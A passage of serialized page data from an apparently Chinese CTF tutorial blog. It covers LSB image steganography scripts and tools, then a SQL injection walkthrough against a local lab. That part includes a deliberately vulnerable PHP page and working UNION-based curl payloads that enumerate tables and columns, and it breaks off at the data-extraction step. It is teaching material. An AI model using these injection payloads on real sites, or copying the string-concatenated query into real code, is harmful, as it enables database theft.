文件。\nprint(\"已生成 hidden.png\")\n",[18,4768,4769,4774,4779,4783,4788,4793,4798,4803,4807,4812,4817,4822,4827,4832,4837,4842,4847,4851,4856,4861,4866,4871,4876,4881,4886,4890,4895,4900,4904,4909,4914,4919,4924,4928,4933,4938,4943,4948],{"__ignoreMap":46},[50,4770,4771],{"class":52,"line":53},[50,4772,4773],{},"from PIL import Image\n",[50,4775,4776],{"class":52,"line":70},[50,4777,4778],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[50,4780,4781],{"class":52,"line":84},[50,4782,142],{"emptyLinePlaceholder":141},[50,4784,4785],{"class":52,"line":145},[50,4786,4787],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[50,4789,4790],{"class":52,"line":151},[50,4791,4792],{},"# Image.new(mode, size, color)：新建一张图片。\n",[50,4794,4795],{"class":52,"line":157},[50,4796,4797],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[50,4799,4800],{"class":52,"line":163},[50,4801,4802],{},"message = \"flag{lsb_steganography}\"\n",[50,4804,4805],{"class":52,"line":168},[50,4806,142],{"emptyLinePlaceholder":141},[50,4808,4809],{"class":52,"line":174},[50,4810,4811],{},"data = message.encode() + b'\\x00'\n",[50,4813,4814],{"class":52,"line":180},[50,4815,4816],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[50,4818,4819],{"class":52,"line":186},[50,4820,4821],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[50,4823,4824],{"class":52,"line":191},[50,4825,4826],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[50,4828,4829],{"class":52,"line":196},[50,4830,4831],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[50,4833,4834],{"class":52,"line":202},[50,4835,4836],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[50,4838,4839],{"class":52,"line":208},[50,4840,4841],{},"pixels = list(img.getdata())\n",[50,4843,4844],{"class":52,"line":214},[50,4845,4846],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[50,4848,4849],{"class":52,"line":220},[50,4850,142],{"emptyLinePlaceholder":141},[50,4852,4853],{"class":52,"line":226},[50,4854,4855],{},"new_pixels = []\n",[50,4857,4858],{"class":52,"line":232},[50,4859,4860],{},"i = 0\n",[50,4862,4863],{"class":52,"line":821},[50,4864,4865],{},"for r, g, b in pixels:\n",[50,4867,4868],{"class":52,"line":827},[50,4869,4870],{},"    if i \u003C len(bits):\n",[50,4872,4873],{"class":52,"line":833},[50,4874,4875],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[50,4877,4878],{"class":52,"line":839},[50,4879,4880],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[50,4882,4883],{"class":52,"line":845},[50,4884,4885],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[50,4887,4888],{"class":52,"line":851},[50,4889,4870],{},[50,4891,4892],{"class":52,"line":857},[50,4893,4894],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[50,4896,4897],{"class":52,"line":862},[50,4898,4899],{},"        # 绿色通道同样处理。\n",[50,4901,4902],{"class":52,"line":867},[50,4903,4870],{},[50,4905,4906],{"class":52,"line":873},[50,4907,4908],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[50,4910,4911],{"class":52,"line":878},[50,4912,4913],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[50,4915,4916],{"class":52,"line":884},[50,4917,4918],{},"    new_pixels.append((r, g, b))\n",[50,4920,4921],{"class":52,"line":890},[50,4922,4923],{},"    # 修改后的像素放入新列表。\n",[50,4925,4926],{"class":52,"line":896},[50,4927,142],{"emptyLinePlaceholder":141},[50,4929,4930],{"class":52,"line":902},[50,4931,4932],{},"img.putdata(new_pixels)\n",[50,4934,4935],{"class":52,"line":908},[50,4936,4937],{},"# putdata()：把新像素列表写回图片对象。\n",[50,4939,4940],{"class":52,"line":913},[50,4941,4942],{},"img.save('hidden.png')\n",[50,4944,4945],{"class":52,"line":919},[50,4946,4947],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[50,4949,4950],{"class":52,"line":925},[50,4951,4952],{},"print(\"已生成 hidden.png\")\n",[15,4954,4955,4958,4959,4962,4963,4966],{},[18,4956,4957],{},"r & 0xfe"," 把最低位清零（",[18,4960,4961],{},"0xfe = 11111110","），",[18,4964,4965],{},"| bit"," 写入目标比特。",[713,4968,4970],{"id":4969},"_53-提取解题视角","5.3 提取（解题视角）",[15,4972,4973,4975],{},[271,4974,273],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4977,4978,4980],{},[271,4979,279],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[41,4982,4984],{"className":411,"code":4983,"language":413,"meta":46,"style":46},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[18,4985,4986,4990,4994,4999,5004,5009,5014,5019,5024,5029,5034,5038,5043,5048,5053,5058,5063,5068,5073,5078,5083,5088,5092,5097,5101,5106],{"__ignoreMap":46},[50,4987,4988],{"class":52,"line":53},[50,4989,4773],{},[50,4991,4992],{"class":52,"line":70},[50,4993,142],{"emptyLinePlaceholder":141},[50,4995,4996],{"class":52,"line":84},[50,4997,4998],{},"img = Image.open('hidden.png').convert('RGB')\n",[50,5000,5001],{"class":52,"line":145},[50,5002,5003],{},"# Image.open(path)：打开图片文件。\n",[50,5005,5006],{"class":52,"line":151},[50,5007,5008],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[50,5010,5011],{"class":52,"line":157},[50,5012,5013],{},"bits = []\n",[50,5015,5016],{"class":52,"line":163},[50,5017,5018],{},"for r, g, b in img.getdata():\n",[50,5020,5021],{"class":52,"line":168},[50,5022,5023],{},"    bits += [r & 1, g & 1, b & 1]\n",[50,5025,5026],{"class":52,"line":174},[50,5027,5028],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[50,5030,5031],{"class":52,"line":180},[50,5032,5033],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[50,5035,5036],{"class":52,"line":186},[50,5037,142],{"emptyLinePlaceholder":141},[50,5039,5040],{"class":52,"line":191},[50,5041,5042],{},"data = bytearray()\n",[50,5044,5045],{"class":52,"line":196},[50,5046,5047],{},"for i in range(0, len(bits) - 7, 8):\n",[50,5049,5050],{"class":52,"line":202},[50,5051,5052],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[50,5054,5055],{"class":52,"line":208},[50,5056,5057],{},"    byte = 0\n",[50,5059,5060],{"class":52,"line":214},[50,5061,5062],{},"    for bit in bits[i:i+8]:\n",[50,5064,5065],{"class":52,"line":220},[50,5066,5067],{},"        byte = (byte \u003C\u003C 1) | bit\n",[50,5069,5070],{"class":52,"line":226},[50,5071,5072],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[50,5074,5075],{"class":52,"line":232},[50,5076,5077],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[50,5079,5080],{"class":52,"line":821},[50,5081,5082],{},"    if byte == 0:\n",[50,5084,5085],{"class":52,"line":827},[50,5086,5087],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[50,5089,5090],{"class":52,"line":833},[50,5091,3795],{},[50,5093,5094],{"class":52,"line":839},[50,5095,5096],{},"    data.append(byte)\n",[50,5098,5099],{"class":52,"line":845},[50,5100,142],{"emptyLinePlaceholder":141},[50,5102,5103],{"class":52,"line":851},[50,5104,5105],{},"print(data.decode())\n",[50,5107,5108],{"class":52,"line":857},[50,5109,5110],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5112,3555],{},[41,5114,5117],{"className":5115,"code":5116,"language":305,"meta":46},[303],"flag{lsb_steganography}\n",[18,5118,5116],{"__ignoreMap":46},[713,5120,5122],{"id":5121},"_54-现成工具","5.4 现成工具",[41,5124,5126],{"className":43,"code":5125,"language":45,"meta":46,"style":46},"gem install zsteg\nzsteg -a hidden.png\n",[18,5127,5128,5138],{"__ignoreMap":46},[50,5129,5130,5133,5135],{"class":52,"line":53},[50,5131,5132],{"class":56},"gem",[50,5134,61],{"class":60},[50,5136,5137],{"class":60}," zsteg\n",[50,5139,5140,5143,5146],{"class":52,"line":70},[50,5141,5142],{"class":56},"zsteg",[50,5144,5145],{"class":250}," -a",[50,5147,4532],{"class":60},[15,5149,5150,5153],{},[18,5151,5152],{},"-a"," 全自动检测各种 LSB 变体。",[10,5155,2252],{"id":2251},[312,5157,5158,5169],{},[315,5159,5160],{},[318,5161,5162,5164,5166],{},[321,5163,1096],{},[321,5165,2263],{},[321,5167,5168],{},"命令",[328,5170,5171,5183,5196,5212],{},[318,5172,5173,5175,5178],{},[333,5174,1408],{},[333,5176,5177],{},"看类型、看编码、看无后缀文件",[333,5179,5180],{},[18,5181,5182],{},"file flag",[318,5184,5185,5188,5191],{},[333,5186,5187],{},"xxd / hexdump",[333,5189,5190],{},"查看文件头、指定长度",[333,5192,5193],{},[18,5194,5195],{},"xxd -l 16 flag.png",[318,5197,5198,5200,5203],{},[333,5199,1451],{},[333,5201,5202],{},"提取字符串、指定长度、管道过滤",[333,5204,5205,21,5208,21,5210],{},[18,5206,5207],{},"strings flag.png",[18,5209,2295],{},[18,5211,2298],{},[318,5213,5214,5216,5219],{},[333,5215,4681],{},[333,5217,5218],{},"扫描、提取",[333,5220,5221,21,5224],{},[18,5222,5223],{},"binwalk flag.png",[18,5225,5226],{},"binwalk -e flag.png",[10,5228,5230],{"id":5229},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5232,1167,5233,697],{},[18,5234,5235],{},"flag.png",[15,5237,5238],{},"第一步：",[41,5240,5242],{"className":43,"code":5241,"language":45,"meta":46,"style":46},"file flag.png\n",[18,5243,5244],{"__ignoreMap":46},[50,5245,5246,5248],{"class":52,"line":53},[50,5247,1408],{"class":56},[50,5249,4684],{"class":60},[15,5251,1538,5252,697],{},[18,5253,5254],{},"PNG image data",[15,5256,5257],{},"第二步：",[41,5259,5260],{"className":43,"code":4643,"language":45,"meta":46,"style":46},[18,5261,5262],{"__ignoreMap":46},[50,5263,5264,5266,5268,5270,5272,5274],{"class":52,"line":53},[50,5265,1451],{"class":56},[50,5267,4560],{"class":60},[50,5269,645],{"class":644},[50,5271,648],{"class":56},[50,5273,4658],{"class":250},[50,5275,4661],{"class":60},[15,5277,5278],{},"无输出。",[15,5280,5281],{},"第三步：",[41,5283,5284],{"className":43,"code":4674,"language":45,"meta":46,"style":46},[18,5285,5286],{"__ignoreMap":46},[50,5287,5288,5290],{"class":52,"line":53},[50,5289,4681],{"class":56},[50,5291,4684],{"class":60},[15,5293,5294],{},"无隐藏文件。",[15,5296,5297],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[41,5299,5301],{"className":5300,"code":5116,"language":305,"meta":46},[303],[18,5302,5116],{"__ignoreMap":46},[10,5304,2544],{"id":2543},[15,5306,5307,5308,5310,5311,1117,5313,5315],{},"Misc 入门三板斧：",[18,5309,1408],{}," 看类型、",[18,5312,1451],{},[18,5314,4681],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1244,5317,5318],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":46,"searchDepth":70,"depth":70,"links":5320},[5321,5322,5323,5324,5325,5326,5327,5328],{"id":4393,"depth":84,"text":4394},{"id":38,"depth":84,"text":39},{"id":4505,"depth":84,"text":4506},{"id":4667,"depth":84,"text":4668},{"id":4737,"depth":84,"text":4738},{"id":2251,"depth":84,"text":2252},{"id":5229,"depth":84,"text":5230},{"id":2543,"depth":84,"text":2544},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1263,"image":5331,"alt":5332,"tags":5333,"published":141},"/blogs-img/blog4.png","CTF Misc 入门",[1267,5334],"misc","/blogs/ctf-misc-overview",{"title":4388,"description":5329},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5340,"title":5341,"body":5342,"description":6728,"extension":1261,"meta":6729,"navigation":141,"ogImage":6730,"path":6735,"seo":6736,"stem":6737,"__hash__":6738},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5343,"toc":6717},[5344,5348,5351,5368,5378,5389,5396,5400,5404,5435,5441,5445,5448,5483,5488,5536,5542,5548,5552,5561,5566,5570,5575,5592,5594,5600,5604,5609,5625,5628,5634,5641,5645,5661,5667,5671,5687,5690,5704,5708,5713,5718,5725,5729,5737,5786,5789,5793,5801,5817,5823,5827,5843,5847,5851,5867,5872,5876,5892,5896,5911,5915,5931,5936,5942,5946,5951,5954,5958,5974,5979,5995,6000,6003,6012,6149,6152,6158,6162,6169,6185,6188,6192,6197,6201,6206,6229,6231,6237,6241,6261,6266,6270,6302,6309,6313,6357,6366,6373,6377,6382,6388,6558,6560,6572,6574,6580,6583,6703,6707,6714],[10,5345,5347],{"id":5346},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5349,5350],{},"普通程序员的查询代码：",[41,5352,5356],{"className":5353,"code":5354,"language":5355,"meta":46,"style":46},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[18,5357,5358,5363],{"__ignoreMap":46},[50,5359,5360],{"class":52,"line":53},[50,5361,5362],{},"$id = $_GET['id'];\n",[50,5364,5365],{"class":52,"line":70},[50,5366,5367],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5369,5370,5373,5374,5377],{},[18,5371,5372],{},"$id"," 被直接拼进 SQL 字符串。当 ",[18,5375,5376],{},"id=1 OR 1=1"," 时：",[41,5379,5383],{"className":5380,"code":5381,"language":5382,"meta":46,"style":46},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[18,5384,5385],{"__ignoreMap":46},[50,5386,5387],{"class":52,"line":53},[50,5388,5381],{},[15,5390,5391,5392,5395],{},"恒真，返回全表。",[271,5393,5394],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5397,5399],{"id":5398},"二环境搭建二选一","二、环境搭建（二选一）",[713,5401,5403],{"id":5402},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[41,5405,5407],{"className":43,"code":5406,"language":45,"meta":46,"style":46},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[18,5408,5409,5418,5425],{"__ignoreMap":46},[50,5410,5411,5413,5415],{"class":52,"line":53},[50,5412,87],{"class":56},[50,5414,90],{"class":60},[50,5416,5417],{"class":60}," https://github.com/Audi-1/sqli-labs.git\n",[50,5419,5420,5422],{"class":52,"line":70},[50,5421,101],{"class":100},[50,5423,5424],{"class":60}," sqli-labs\n",[50,5426,5427,5429,5432],{"class":52,"line":84},[50,5428,5355],{"class":56},[50,5430,5431],{"class":250}," -S",[50,5433,5434],{"class":60}," 127.0.0.1:8000\n",[15,5436,5437,5438,697],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[18,5439,5440],{},"Less-1",[713,5442,5444],{"id":5443},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5446,5447],{},"数据库：",[41,5449,5451],{"className":5380,"code":5450,"language":5382,"meta":46,"style":46},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[18,5452,5453,5458,5463,5468,5473,5478],{"__ignoreMap":46},[50,5454,5455],{"class":52,"line":53},[50,5456,5457],{},"CREATE DATABASE ctf;\n",[50,5459,5460],{"class":52,"line":70},[50,5461,5462],{},"USE ctf;\n",[50,5464,5465],{"class":52,"line":84},[50,5466,5467],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[50,5469,5470],{"class":52,"line":145},[50,5471,5472],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[50,5474,5475],{"class":52,"line":151},[50,5476,5477],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[50,5479,5480],{"class":52,"line":157},[50,5481,5482],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5484,5485,119],{},[18,5486,5487],{},"vuln.php",[41,5489,5491],{"className":5353,"code":5490,"language":5355,"meta":46,"style":46},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[18,5492,5493,5498,5503,5507,5512,5517,5522,5527,5531],{"__ignoreMap":46},[50,5494,5495],{"class":52,"line":53},[50,5496,5497],{},"\u003C?php\n",[50,5499,5500],{"class":52,"line":70},[50,5501,5502],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[50,5504,5505],{"class":52,"line":84},[50,5506,5362],{},[50,5508,5509],{"class":52,"line":145},[50,5510,5511],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[50,5513,5514],{"class":52,"line":151},[50,5515,5516],{},"$result = $conn->query($sql);\n",[50,5518,5519],{"class":52,"line":157},[50,5520,5521],{},"while ($row = $result->fetch_assoc()) {\n",[50,5523,5524],{"class":52,"line":163},[50,5525,5526],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[50,5528,5529],{"class":52,"line":168},[50,5530,160],{},[50,5532,5533],{"class":52,"line":174},[50,5534,5535],{},"?>\n",[15,5537,5538,5539,697],{},"启动：",[18,5540,5541],{},"php -S 127.0.0.1:8000",[5543,5544,5545],"blockquote",{},[15,5546,5547],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5549,5551],{"id":5550},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5553,5554,5556,5557,5560],{},[271,5555,273],{},"：确认参数 ",[18,5558,5559],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5562,5563,5565],{},[271,5564,279],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[713,5567,5569],{"id":5568},"请求-1正常请求","请求 1：正常请求",[15,5571,5572,5574],{},[271,5573,273],{},"：记录正常响应的样子，作为后续对比的基线。",[41,5576,5578],{"className":43,"code":5577,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[18,5579,5580],{"__ignoreMap":46},[50,5581,5582,5585,5587,5590],{"class":52,"line":53},[50,5583,5584],{"class":56},"curl",[50,5586,652],{"class":651},[50,5588,5589],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1",[50,5591,658],{"class":651},[15,5593,299],{},[41,5595,5598],{"className":5596,"code":5597,"language":305,"meta":46},[303],"1 hello world\n",[18,5599,5597],{"__ignoreMap":46},[713,5601,5603],{"id":5602},"请求-2单引号","请求 2：单引号",[15,5605,5606,5608],{},[271,5607,273],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[41,5610,5612],{"className":43,"code":5611,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[18,5613,5614],{"__ignoreMap":46},[50,5615,5616,5618,5620,5623],{"class":52,"line":53},[50,5617,5584],{"class":56},[50,5619,652],{"class":651},[50,5621,5622],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1'",[50,5624,658],{"class":651},[15,5626,5627],{},"预期输出（报错）：",[41,5629,5632],{"className":5630,"code":5631,"language":305,"meta":46},[303],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[18,5633,5631],{"__ignoreMap":46},[15,5635,5636,5637,5640],{},"原因：语句变成 ",[18,5638,5639],{},"WHERE id = 1'","，单引号未闭合。",[713,5642,5644],{"id":5643},"请求-3and-11","请求 3：AND 1=1",[41,5646,5648],{"className":43,"code":5647,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[18,5649,5650],{"__ignoreMap":46},[50,5651,5652,5654,5656,5659],{"class":52,"line":53},[50,5653,5584],{"class":56},[50,5655,652],{"class":651},[50,5657,5658],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[50,5660,658],{"class":651},[15,5662,299,5663,5666],{},[18,5664,5665],{},"1 hello world","（条件真）。",[713,5668,5670],{"id":5669},"请求-4and-12","请求 4：AND 1=2",[41,5672,5674],{"className":43,"code":5673,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[18,5675,5676],{"__ignoreMap":46},[50,5677,5678,5680,5682,5685],{"class":52,"line":53},[50,5679,5584],{"class":56},[50,5681,652],{"class":651},[50,5683,5684],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[50,5686,658],{"class":651},[15,5688,5689],{},"预期输出：空（条件假）。",[15,5691,5692,5695,5696,5699,5700,5703],{},[271,5693,5694],{},"判定","：单引号报错 + ",[18,5697,5698],{},"1=1"," 正常 + ",[18,5701,5702],{},"1=2"," 为空 → 注入点确认。",[10,5705,5707],{"id":5706},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5709,5710,5712],{},[271,5711,273],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5714,5715,5717],{},[271,5716,279],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5719,5720,5721,5724],{},"前提：第一个查询返回空（用 ",[18,5722,5723],{},"id=-1","），UNION 两个查询列数相同。",[713,5726,5728],{"id":5727},"第-1-步确定列数","第 1 步：确定列数",[15,5730,5731,119,5733,5736],{},[271,5732,279],{},[18,5734,5735],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[41,5738,5740],{"className":43,"code":5739,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[18,5741,5742,5753,5764,5775],{"__ignoreMap":46},[50,5743,5744,5746,5748,5751],{"class":52,"line":53},[50,5745,5584],{"class":56},[50,5747,652],{"class":651},[50,5749,5750],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[50,5752,658],{"class":651},[50,5754,5755,5757,5759,5762],{"class":52,"line":70},[50,5756,5584],{"class":56},[50,5758,652],{"class":651},[50,5760,5761],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[50,5763,658],{"class":651},[50,5765,5766,5768,5770,5773],{"class":52,"line":84},[50,5767,5584],{"class":56},[50,5769,652],{"class":651},[50,5771,5772],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[50,5774,658],{"class":651},[50,5776,5777,5779,5781,5784],{"class":52,"line":145},[50,5778,5584],{"class":56},[50,5780,652],{"class":651},[50,5782,5783],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[50,5785,658],{"class":651},[15,5787,5788],{},"前三条正常，第四条报错 → 共 3 列。",[713,5790,5792],{"id":5791},"第-2-步确认回显位","第 2 步：确认回显位",[15,5794,5795,119,5797,5800],{},[271,5796,279],{},[18,5798,5799],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[41,5802,5804],{"className":43,"code":5803,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[18,5805,5806],{"__ignoreMap":46},[50,5807,5808,5810,5812,5815],{"class":52,"line":53},[50,5809,5584],{"class":56},[50,5811,652],{"class":651},[50,5813,5814],{"class":60},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[50,5816,658],{"class":651},[15,5818,299,5819,5822],{},[18,5820,5821],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[713,5824,5826],{"id":5825},"第-3-步查数据库名","第 3 步：查数据库名",[41,5828,5830],{"className":43,"code":5829,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[18,5831,5832],{"__ignoreMap":46},[50,5833,5834,5836,5838,5841],{"class":52,"line":53},[50,5835,5584],{"class":56},[50,5837,652],{"class":651},[50,5839,5840],{"class":60},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[50,5842,658],{"class":651},[15,5844,299,5845,697],{},[18,5846,1267],{},[713,5848,5850],{"id":5849},"第-4-步查表名","第 4 步：查表名",[41,5852,5854],{"className":43,"code":5853,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[18,5855,5856],{"__ignoreMap":46},[50,5857,5858,5860,5862,5865],{"class":52,"line":53},[50,5859,5584],{"class":56},[50,5861,652],{"class":651},[50,5863,5864],{"class":60},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[50,5866,658],{"class":651},[15,5868,299,5869,697],{},[18,5870,5871],{},"articles,flag,users",[713,5873,5875],{"id":5874},"第-5-步查列名","第 5 步：查列名",[41,5877,5879],{"className":43,"code":5878,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[18,5880,5881],{"__ignoreMap":46},[50,5882,5883,5885,5887,5890],{"class":52,"line":53},[50,5884,5584],{"class":56},[50,5886,652],{"class":651},[50,5888,5889],{"class":60},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[50,5891,658],{"class":651},[15,5893,299,5894,697],{},[18,5895,3429],{},[15,5897,5898,5901,5902,5904,5905,5907,5908,5910],{},[271,5899,5900],{},"说明","：如果第 4 步看到多个表，比如 ",[18,5903,5871],{},"，优先怀疑 ",[18,5906,3429],{}," 表；列名可能不是 ",[18,5909,3429],{},"，需要本步用 information_schema.columns 确认。",[713,5912,5914],{"id":5913},"第-6-步拿数据","第 6 步：拿数据",[41,5916,5918],{"className":43,"code":5917,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM 